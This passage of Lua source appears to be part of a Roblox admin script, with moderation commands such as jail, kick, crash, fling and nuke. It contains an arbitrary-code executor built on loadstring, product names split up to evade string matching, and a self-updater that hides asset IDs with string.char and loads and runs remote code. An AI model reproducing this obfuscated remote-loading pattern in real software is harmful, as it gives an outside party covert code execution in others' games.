952 if Reader:IsA("RemoteFunction") then
953 return Reader:InvokeClient(Player, Property, Value)
954 else
955 return Reader[Property]
956 end
957end
958
959
960function CORE:CreateRemoteEvent(Obj, EventName)
961 local Event = Instance.new("RemoteEvent", Obj)
962 Event.Name = "RemoteEvent_"..EventName
963 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
964 return Event
965end
966
967function CORE:HandleEvent(Obj, EventName, Func, NewThread)
968 local function Handle()
969 if Server.Workspace.FilteringEnabled == true then
970 local Event = CORE:CreateRemoteEvent(Obj, EventName)
971 return Event.OnServerEvent:connect(function(Player, ...)
972 Func(...)
973 end)
974 else
975 return Obj[EventName]:connect(Func)
976 end
977 end
978 if NewThread then
979 Spawn(Handle)
980 else
981 Handle()
982 end
983end
984
985function CORE:HandleError(Error, Speaker)
986 local Return = ""
987 if not Error or Error == "" then
988 Return = "Unknown Error"
989 else
990 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
991 end
992 if Speaker then
993 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
994 end
995 return Return
996end
997
998local function ExecuteSafe(Source, Speaker) -- no CORE
999 local Script, Error = loadstring(Source)
1000 if Error then
1001 return false, CORE:HandleError(Error, Speaker)
1002 else
1003 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
1004 getfenv(Script).Server, getfenv(Script).script = Server,script
1005 if Speaker then
1006 getfenv(Script).print = function(...)
1007 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
1008 end
1009 getfenv(Script).print_array = function(List)
1010 if type(List) == "table" then
1011 GUI:ListGui(Speaker, "Listed Table", List, "Output")
1012 end
1013 end
1014 end
1015
1016 local Suc, Error = ypcall(coroutine.wrap(Script))
1017
1018 if not Suc then
1019 Error = CORE:HandleError(Error, Speaker)
1020 end
1021
1022 return Suc,Error
1023 end
1024end
1025
1026function CORE:GetTime(Regular, FullDate)
1027 if Regular == nil then Regular = true end
1028 local Meridiem = ""
1029 if Regular == true then Meridiem = " AM" end
1030 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
1031 local Hour = math.floor(SecondsOfToday / (60*60))
1032 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
1033 local Second = math.floor(math.fmod(SecondsOfToday, 60))
1034 if Hour > 12 and Regular == true then
1035 Hour = Hour - 12
1036 Meridiem = " PM"
1037 end
1038 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
1039 if #Hour <= 1 then Hour = "0"..Hour end
1040 if #Minute <= 1 then Minute = "0"..Minute end
1041 if #Second <= 1 then Second = "0"..Second end
1042 local Return = Hour..":"..Minute..":"..Second..Meridiem
1043 if FullDate == true and Date then Return = Date.." "..Return end
1044 return Return
1045end
1046
1047function CORE:RemoveAdmin(Speaker)
1048 local Answer = true -- false
1049 if not CORE:NilPlayer(Speaker) then
1050 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
1051 end
1052 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
1053 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
1054 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
1055 for _,Item in pairs(Player:GetChildren()) do
1056 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
1057 Item:Destroy()
1058 end
1059 end
1060 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
1061 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
1062 GUI:Destroy()
1063 end
1064 end
1065 end end
1066 for _,Car in pairs(Cars) do
1067 Car:Destroy()
1068 end
1069 CORE:FixLighting()
1070 while wait() do
1071 if script:FindFirstChild("Override") then script.Override.Value = true end
1072 Settings,CORE,IRC = nil,{},{}
1073 if Sound then Sound:Stop() end
1074 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
1075 script:ClearAllChildren() script:Destroy() script.Disabled = true
1076 end
1077 end
1078end
1079
1080function CORE:MakeBase()
1081 for _,Get in pairs(Workspace:GetChildren()) do
1082 if Get.Name == "Base" or Get.Name == "BasePlate" then
1083 Get:Destroy()
1084 end
1085 end
1086 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
1087end
1088
1089function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
1090 if IsAbusive == nil then IsAbusive = false end
1091 if Commands[CommandName] then table.remove(Commands[CommandName]) end
1092 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
1093end
1094
1095function CORE:FixLighting() coroutine.wrap(function()
1096 ModLighting = false
1097 wait(0.2)
1098 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
1099 Server.Lighting.FogColor = Color3.new(0,0,0)
1100 Server.Lighting.Brightness = 1
1101 Server.Lighting.TimeOfDay = 14
1102 Server.Lighting.FogEnd = 100000
1103end)() end
1104
1105function CORE:Round(Number)
1106 if Number >= 0.5 then
1107 return math.ceil(Number)
1108 elseif Number < 0.5 then
1109 return math.floor(Number)
1110 end
1111end
1112
1113local AdminID,Got = nil,false
1114repeat wait()
1115 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
1116until Got == true
1117
1118function CORE:GetTable(ID)
1119 local Thing = nil
1120 repeat wait()
1121 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
1122 until Thing
1123 return Thing
1124end
1125
1126function CORE:InAdminGroup(Speaker)
1127 local IsIn = false
1128 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
1129 if Speaker:IsInGroup(Get) then
1130 IsIn = true
1131 end
1132 end
1133 if IsIn == true then
1134 return true
1135 else
1136 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
1137 return false
1138 end
1139end
1140
1141function CORE:ReverseTable(Table)
1142 if type(Table) ~= "table" then return Table end
1143 local NewTable = {}
1144 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
1145 return NewTable
1146end
1147
1148function CORE:Log(LogTable, Player, Chat)
1149 local PlayerName = tostring(Player)
1150 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
1151 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
1152end
1153
1154function CORE:Jail(Player)
1155 if not Player then return nil end
1156 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
1157 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
1158 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
1159 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
1160 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
1161 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
1162 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
1163 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
1164 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
1165 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
1166 Cell:MoveTo(Vector3.new(0,3,0))
1167
1168 if Player.Character and Player.Character:FindFirstChild("Torso") then
1169 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
1170 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
1171 end
1172 table.insert(Dispose, Cell)
1173 Jails[Player.Name] = Cell
1174end
1175
1176function CORE:UnJail(Player)
1177 if not Player then return nil end
1178 if Jails[Player.Name] then
1179 Jails[Player.Name]:Destroy()
1180 Jails[Player.Name] = nil
1181 end
1182end
1183
1184function CORE:ChangeName(Player, NewName)
1185 if not Player or not NewName then return nil end
1186 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
1187 local NewName = STRING:FormatReplace(Player, NewName)
1188
1189 for _,Obj in pairs(Player.Character:GetChildren()) do
1190 if Obj.Name == "Label" then Obj:Destroy() end
1191 end
1192
1193 local Head = Player.Character.Head
1194 local HeadClone = Head:Clone()
1195
1196 -- make actual head invisible
1197 Head.Transparency = 1
1198 ypcall(function() Head.face.Transparency = 1 end)
1199
1200 -- make fake head visible
1201 HeadClone.Transparency = 0
1202 ypcall(function() HeadClone.face.Transparency = 0 end)
1203
1204 local Label = Instance.new("Model", Player.Character)
1205 Label.Name = "Label"
1206
1207 local Model = Instance.new("Model", Label)
1208 Model.Name = NewName
1209
1210 local HumanoidClone = Instance.new("Humanoid", Model)
1211 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1212
1213 HeadClone.Position = Vector3.new(0,100,0)
1214 HeadClone.CanCollide = false
1215 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1216
1217
1218 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1219 HeadClone.Parent = Model
1220 local Weld = Instance.new("Weld", HeadClone)
1221 Weld.Part0 = HeadClone
1222 Weld.Part1 = Head
1223 end)
1224 end
1225end
1226
1227function CORE:UpdateAdmin()
1228 if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1229 return nil
1230 end
1231 local UpdateModel = AdminID
1232 if UpdateModel == 0 then return end
1233 local NewAdminModel = nil
1234 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1235 if NewAdminModel then
1236 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1237 if NewAdmin then
1238 local NewVersion = NewAdmin:FindFirstChild("Version")
1239 if NewVersion.Value ~= CORE.Version.Value then
1240 if ExploitModule then
1241 ExploitModule.Disabled = true
1242 ExploitModule:Destroy()
1243 end
1244 NewAdmin.Disabled = true
1245 NewAdmin.Parent = Workspace
1246 if not Settings then
1247 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1248 if NewSettings then NewSettings.Parent = Workspace end
1249 end
1250 wait() NewAdmin.Disabled = false
1251 CORE:RemoveAdmin()
1252 else
1253 NewAdminModel:Destroy()
1254 end
1255 end
1256 end
1257end
1258
1259function CORE:UnpackPlayers(Players)
1260 local PlayerNames = ""
1261 for Num,Player in pairs(Players) do
1262 if Player ~= nil then
1263 if Num ~= #Players then
1264 PlayerNames = PlayerNames..Player.Name..", "
1265 else
1266 PlayerNames = PlayerNames..Player.Name
1267 end
1268 end
1269 end
1270 return PlayerNames
1271end
1272
1273function CORE:GetValue(Value)
1274 if Value:IsA("StringValue") then
1275 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1276 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1277 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1278 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1279 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1280 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1281 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1282 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1283 if Admin == Value.Value then
1284 table.remove(Settings.Ranks["Admin"],Num)
1285 end
1286 end
1287 end end
1288 end
1289end
1290
1291function CORE:GetPlayer(ID)
1292 local Return = {"Unknown", ID}
1293 if tonumber(ID) then
1294 for _,Data in pairs(CharacterCache) do
1295 if ID == Data[2] then
1296 return Data
1297 end
1298 end
1299 ypcall(function()
1300 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1301 if Name then
1302 local Data = {Name, ID}
1303 table.insert(CharacterCache, Data)
1304 Return = Data
1305 end
1306 end)
1307 else
1308 local Name = tostring(ID)
1309 for _,Data in pairs(CharacterCache) do
1310 if string.lower(Name) == string.lower(Data[1]) then
1311 return Data
1312 end
1313 end
1314 ypcall(function()
1315 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1316 if PlayerID then
1317 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1318 local Data = {Name, PlayerID}
1319 table.insert(CharacterCache, Data)
1320 Return = Data
1321 end
1322 end)
1323 end
1324
1325 return Return
1326end
1327
1328function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1329 if ID and #tostring(ID) >= 1 then
1330 local PlayerName = nil
1331
1332 local Players = STRING:Scan(ID, Speaker)
1333 if #Players >= 1 then -- if player is found in server
1334 ID = Players[1].UserId
1335 elseif tonumber(ID) then
1336 local Data = CORE:GetPlayer(ID)
1337 PlayerName = Data[1]
1338 else
1339 local Data = CORE:GetPlayer(tostring(ID))
1340 PlayerName = Data[1]
1341 ID = Data[2]
1342 end
1343
1344 if tonumber(ID) == 20018 then -- exploding easter bunny
1345 local OldID = ID
1346 ID = 1
1347 if Speaker then
1348 if RANK:GetRank(Speaker) == "Member" then
1349 coroutine.wrap(function()
1350 wait(1)
1351 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1352 end)()
1353 else ID = OldID
1354 end
1355 end
1356 elseif tonumber(ID) == 1311 then -- ffjosh
1357 local OldID = ID
1358 ID = 1
1359 if Speaker then
1360 if RANK:GetRank(Speaker) == "Member" then
1361 coroutine.wrap(function()
1362 wait(1)
1363 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1364 end)()
1365 else ID = OldID
1366 end
1367 end
1368 end
1369
1370 if tonumber(ID) then
1371 local Position = nil
1372 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1373 if ManualPos then
1374 Position = ManualPos
1375 else
1376 Position = Player.Character.Torso.Position
1377 end
1378 end
1379 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1380 wait() Player:LoadCharacter() wait()
1381 if Position then Player.Character:MoveTo(Position) end
1382 if not Perm then
1383 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1384 end
1385 if NameChar and PlayerName then
1386 wait(2)
1387 CORE:ChangeName(Player, PlayerName)
1388 end
1389 end
1390 end
1391end)() end
1392
1393function CORE:GenerateShield(Player)
1394 if not Player then return nil end
1395 if not Player.Character then return nil end
1396 local Torso = Player.Character:FindFirstChild("Torso")
1397 if not Torso then return nil end
1398
1399 local Shield = Player.Character:FindFirstChild("Shield")
1400 if Shield then Shield:Destroy() end
1401
1402 Shield = Instance.new("Part", Player.Character)
1403 Shield.Name = "Shield"
1404 Shield.Locked = true
1405 Shield.CanCollide = false
1406 Shield.Size = Vector3.new(10,10,10)
1407 Shield.Shape = "Ball"
1408 Shield.Color = GUI:GetColor()
1409 Shield.Transparency = 0.5
1410 Shield.TopSurface = "Smooth"
1411 Shield.BottomSurface = "Smooth"
1412 Shield.Anchored = true
1413 Shield.Position = Torso.Position
1414
1415 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1416 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1417
1418 Hum:Play()
1419
1420 Shield.Touched:connect(function(Part)
1421 if Part.Parent ~= Server.Workspace then
1422 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1423 if Humanoid then
1424 local Char = Humanoid.Parent
1425 if Char:IsA("Model") and Humanoid.Health > 0 then
1426 if Char ~= Player.Character then
1427 Char:BreakJoints()
1428 Zap:Play()
1429 end
1430 end
1431 end
1432 end
1433 end)
1434
1435 coroutine.wrap(function() repeat wait()
1436 Shield.CFrame = Torso.CFrame
1437 until Torso.Parent == nil or Shield.Parent == nil end)()
1438end
1439
1440function CORE:FlingPlayer(Player)
1441 if Player and Player.Character then
1442 if Player.Character:FindFirstChild("Torso") then
1443 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1444 Fling.Name = "Fling"
1445 Fling.force = Vector3.new(10000,10000,10000)
1446 end
1447 end
1448end
1449
1450function CORE:Kick(Player, CustomMessage)
1451 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1452 coroutine.wrap(function()
1453 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1454 wait(1)
1455 Player:Kick(CustomMessage)
1456 end)()
1457end
1458
1459function CORE:Crash(Player)
1460 local Parent = Player
1461 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1462 elseif Player.Character then Parent = Player.Character end
1463
1464 CORE:ExecuteResource("Crash", Parent)
1465end
1466
1467function CORE:RestoreCamera(Player)
1468 if Player.Backpack then
1469 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1470 end
1471end
1472
1473function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1474 local function ScanInstance(Object)
1475 if #Object:GetChildren() > 0 then
1476 for _,Obj in pairs(Object:GetChildren()) do
1477 local IsType = false
1478 if ObjTypes and #ObjTypes > 0 then
1479 for _,ObjType in pairs(ObjTypes) do
1480 if Obj:IsA(ObjType) then
1481 IsType = true
1482 break
1483 end
1484 end
1485 else
1486 IsType = true
1487 end
1488 if IsType == true then
1489 ActiveFunc(Obj)
1490 end
1491 ScanInstance(Obj)
1492 end
1493 end
1494 end
1495 ScanInstance(BaseObj)
1496end
1497
1498function CORE:AnchorPlayer(Player)
1499 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1500
1501 Player.Character.Humanoid.WalkSpeed = 0
1502 for _,Object in pairs(Player.Character:GetChildren()) do
1503 if Object:IsA("BasePart") then
1504 Object.Anchored = true
1505 end
1506 end
1507end
1508
1509function CORE:UnanchorPlayer(Player)
1510 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1511
1512 Player.Character.Humanoid.WalkSpeed = 16
1513 for _,Object in pairs(Player.Character:GetChildren()) do
1514 if Object:IsA("BasePart") then
1515 Object.Anchored = false
1516 end
1517 end
1518end
1519
1520function CORE:InvisiblePlayer(Player)
1521 if not Player or not Player.Character then return end
1522
1523 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1524end
1525
1526function CORE:VisiblePlayer(Player)
1527 if not Player or not Player.Character then return end
1528
1529 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1530end
1531
1532function CORE:Nuke(Player) coroutine.wrap(function()
1533 local Pos = CFrame.new(0,1,0)
1534 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1535 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1536 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1537 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1538 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1539 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1540
1541 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1542
1543 Server.Lighting.Brightness = 5
1544 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1545 Server.OutdoorAmbient = Color3.new(1,1,1)
1546
1547 local Exp = Instance.new("Explosion", Server.Workspace)
1548 Exp.Position = Pos.p
1549 Exp.BlastPressure = 10000000
1550 Exp.BlastRadius = 1000000
1551 Exp.Hit:connect(function(Part)
1552 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1553 ypcall(function()
1554 Part.Anchored = false
1555 Part.BrickColor = BrickColor.new("Black")
1556 Part.Material = "Slate"
1557 Part:BreakJoints()
1558 end)
1559 end
1560 end)
1561
1562 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1563 BoomSound:Play()
1564 for i = 0,100,0.5 do
1565 Blast.Anchored = true
1566 Wave.Anchored = true
1567 BlastMesh.Scale = Vector3.new(i,i,i)
1568 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1569 Blast.CFrame = Pos
1570 wait()
1571 end
1572 BoomSound:Stop()
1573 Blast:Destroy()
1574 Wave:Destroy()
1575 wait()
1576 BoomSound:Destroy()
1577 Effect:Destroy()
1578 for i = 10,5,-1 do
1579 Server.Lighting.Brightness = (i-5) + 1
1580 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1581 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1582 wait(0.05)
1583 end
1584end)() end
1585
1586function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1587 local AssetID = tonumber(AssetID)
1588 local Item = nil
1589 if AssetID and AssetID ~= 1055299 then
1590 local CanInsert = true
1591 if AbuseMode then
1592 for _,ID in pairs(RemoteAbuseGear) do
1593 if AssetID == tonumber(ID) then CanInsert = false break end
1594 end
1595 for _,ID in pairs(Settings.AbusableGear) do
1596 if AssetID == tonumber(ID) then CanInsert = false break end
1597 end
1598 end
1599 if CanInsert then
1600 Item = Server.IS:LoadAsset(AssetID)
1601 if GetFirstChild then
1602 Item = Item:GetChildren()[1]
1603 if FirstChildTypes and Item then
1604 local ValidType = false
1605 for _,Type in pairs(FirstChildTypes) do
1606 if Item:IsA(Type) then
1607 ValidType = true
1608 break
1609 end
1610 end
1611 if ValidType == false then
1612 Item = nil
1613 end
1614 end
1615 end
1616 if Item and Parent then
1617 Item.Parent = Parent
1618 end
1619 end
1620 end
1621 return Item
1622end
1623
1624function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1625 if not Player or not Player.Character then return nil end
1626 PID = tonumber(PID)
1627 for _,Obj in pairs(Player.Character:GetChildren()) do
1628 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1629 end
1630 if PID then
1631 -- back when we needed HttpService to get packages.
1632 --[[
1633 if PackageCache[PID] then
1634 for _,ID in pairs(PackageCache[PID]) do
1635 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1636 end
1637 else
1638 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1639 if IDsJSON then
1640 local IDs = REMOTE:Decode(IDsJSON)
1641 if IDs then
1642 if not IDs["Error"] then
1643 table.insert(PackageCache, IDs)
1644 for _,ID in pairs(IDs) do
1645 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1646 end
1647 end
1648 end
1649 end
1650 end
1651 ]]
1652 -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1653 local IDs = {}
1654 ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1655 if #IDs > 0 then
1656 for _,ID in pairs(IDs) do
1657 local PackagePart = CORE:Insert(ID)
1658 for _,Obj in pairs(PackagePart:GetChildren()) do
1659 if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1660 Obj.Parent = Player.Character
1661 elseif Obj:IsA("Folder") then
1662 if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1663 Obj:GetChildren()[1].Parent = Player.Character
1664 end
1665 end
1666 end
1667 end
1668 end
1669 end
1670end)() end
1671
1672function CORE:ChangeBet(Bet)
1673 if tostring(Bet) and Bet ~= Settings.Bet then
1674 for Index,Data in pairs(Commands) do
1675 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1676 end
1677 Settings.Bet = Bet
1678 end
1679end
1680
1681function CORE:ResetLighting()
1682 ModLighting = false wait(0.2) ModLighting = true
1683end
1684
1685function CORE:Fly(Player, Force)
1686 if Player and Player.Character then
1687 local StopFly = Instance.new("RemoteFunction", Player.Character)
1688 StopFly.Name = "StopMMLFly"
1689 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1690 end
1691end
1692
1693function CORE:GiveTools(Player, Type)
1694 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1695 Type = string.lower(Type)
1696 local _,RankNum = RANK:GetRank(Player)
1697 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1698 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1699
1700 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1701 for Name,Type in pairs(BaseBuildTools) do
1702 local Tool = Instance.new("HopperBin", Player.Backpack)
1703 Tool.Name = Name
1704 Tool.BinType = Type
1705 end
1706 elseif Type == "psbtools" then
1707 for _,Tool in pairs(BuildTools) do
1708 CORE:Insert(Tool, Player.Backpack, true)
1709 end
1710 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1711 if F3X then
1712 local F3X = F3X:Clone()
1713 F3X.Parent = Player.Backpack
1714 end
1715 elseif Type == "btools" then
1716 if F3X then
1717 local F3X = F3X:Clone()
1718 F3X.Parent = Player.Backpack
1719 end
1720 for Name,Type in pairs(BaseBuildTools) do
1721 local Tool = Instance.new("HopperBin", Player.Backpack)
1722 Tool.Name = Name
1723 Tool.BinType = Type
1724 end
1725 for _,Tool in pairs(BuildTools) do
1726 CORE:Insert(Tool, Player.Backpack, true)
1727 end
1728 else
1729 for _,Region in pairs(ToolRegions) do
1730 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1731 if Type == "all" then
1732 local NewItem = Item:Clone()
1733 NewItem.Parent = Player.Backpack
1734 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1735 local NewItem = Item:Clone()
1736 NewItem.Parent = Player.Backpack
1737 end
1738 end)
1739 end
1740 end
1741end
1742
1743function CORE:Scale(Player, ScalePercent)
1744 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1745 local Ratio = ScalePercent/100
1746 if Ratio < 0.05 then Ratio = 0.05 end
1747 if Ratio > 100 then Ratio = 100 end
1748 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1749 local Char = Player.Character
1750
1751 local Clean = Char:FindFirstChild("Clean")
1752 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1753 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1754
1755 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1756 local Welds = {}
1757 local Parts = {}
1758
